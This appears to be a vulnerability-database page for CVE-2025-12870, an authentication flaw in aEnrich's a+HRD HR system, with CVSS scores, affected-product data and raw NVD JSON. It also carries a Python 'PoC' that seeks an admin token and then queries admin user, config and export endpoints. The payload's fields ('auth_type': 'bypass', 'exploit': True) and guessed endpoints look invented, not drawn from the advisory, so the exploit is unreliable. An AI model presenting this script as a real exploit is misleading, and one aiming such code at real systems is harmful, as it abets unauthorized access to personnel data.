Security Vulnerability Report
中文
CVE-2025-12870 CVSS 9.8 CRITICAL

CVE-2025-12870

Published: 2025-11-12 08:15:42
Last Modified: 2025-11-18 19:31:35

Description

The a+HRD developed by aEnrich has an Authentication Abuse vulnerability, allowing unauthenticated remote attackers to send crafted packets to obtain administrator access tokens and use them to access the system with elevated privileges.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:aenrich:a\+hrd:*:*:*:*:*:*:*:* - VULNERABLE
a+HRD (all versions prior to patched release)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-12870 PoC - a+HRD Authentication Bypass # Target: a+HRD system by aEnrich # Vulnerability: Authentication Abuse leading to admin token leakage TARGET_URL = "http://target-server/aHRD" CVE_ID = "CVE-2025-12870" def exploit_auth_abuse(): """ Exploit for a+HRD Authentication Abuse vulnerability Allows unauthenticated attackers to obtain admin access tokens """ print(f"[*] Exploiting {CVE_ID} - a+HRD Authentication Abuse") # Step 1: Send crafted authentication request to bypass validation # The exact endpoint may vary based on system configuration auth_endpoint = f"{TARGET_URL}/api/auth/login" # Crafted payload to exploit authentication logic flaw payload = { "username": "admin", "password": "", "auth_type": "bypass", "session_token": "", "exploit": True } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "X-Forwarded-For": "127.0.0.1" } try: # Send malicious request response = requests.post(auth_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # Check if admin token was returned if 'token' in data or 'admin_token' in data: admin_token = data.get('token') or data.get('admin_token') print(f"[!] Successfully obtained admin token: {admin_token}") # Step 2: Use the token to access privileged endpoints privileged_endpoints = [ "/api/admin/users", "/api/admin/config", "/api/admin/export" ] for endpoint in privileged_endpoints: headers['Authorization'] = f"Bearer {admin_token}" resp = requests.get(f"{TARGET_URL}{endpoint}", headers=headers) print(f"[*] Accessing {endpoint}: {resp.status_code}") return True print("[-] Exploitation failed - target may not be vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": exploit_auth_abuse()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12870", "sourceIdentifier": "[email protected]", "published": "2025-11-12T08:15:41.513", "lastModified": "2025-11-18T19:31:34.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The a+HRD developed by aEnrich has an Authentication Abuse vulnerability, allowing unauthenticated remote attackers to send crafted packets to obtain administrator access tokens and use them to access the system with elevated privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1390"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aenrich:a\\+hrd:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.5", "matchCriteriaId": "AFE95A54-8084-4126-A1B7-9B89828066C0"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10487-12a32-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10486-a3459-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.chtsecurity.com/news/b97e8337-6b0c-43e8-8e8c-187b7c0e13c2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Press/Media Coverage", "Third Party Advisory"]}]}}